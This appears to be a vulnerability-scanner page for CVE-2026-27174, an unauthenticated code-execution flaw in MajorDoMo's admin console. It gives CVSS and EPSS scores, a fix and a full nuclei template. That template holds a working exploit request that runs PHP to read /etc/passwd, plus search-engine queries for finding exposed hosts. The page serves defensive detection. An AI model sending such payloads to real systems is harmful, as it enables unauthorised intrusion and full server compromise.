MajorDoMo - Unauthenticated RCE

criticalseverity

10CVSS score

6.9%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.

Impact

Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.

Fix

Update to the latest version with the fix for the include order bug and proper exit after redirect.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')
Send: GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B
Positive when: matches /root:[x*]:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-27174 -u <target>

The full check

id: CVE-2026-27174

info:
  name: MajorDoMo - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
   MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.
  impact: |
   Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.
  remediation: |
   Update to the latest version with the fix for the include order bug and proper exit after redirect.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27174
    - https://github.com/sergejey/majordomo/issues/1177
    - https://chocapikk.com/posts/2026/majordomo-revisited
    - https://www.vulncheck.com/advisories/majordomo-unauthenticated-remote-code-execution-via-admin-console-eval
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 10.0
    cve-id: CVE-2026-27174
    epss-score: 0.06853
    epss-percentile: 0.94092
    cwe-id: CWE-94
    cpe: cpe:2.3:a:sergejey:majordomo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sergejey
    product: majordomo
    fofa-query: body="templates/application.html"
    shodan-query: http.html:"templates/application.html"
  tags: cve,cve2026,rce,majordomo,php,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from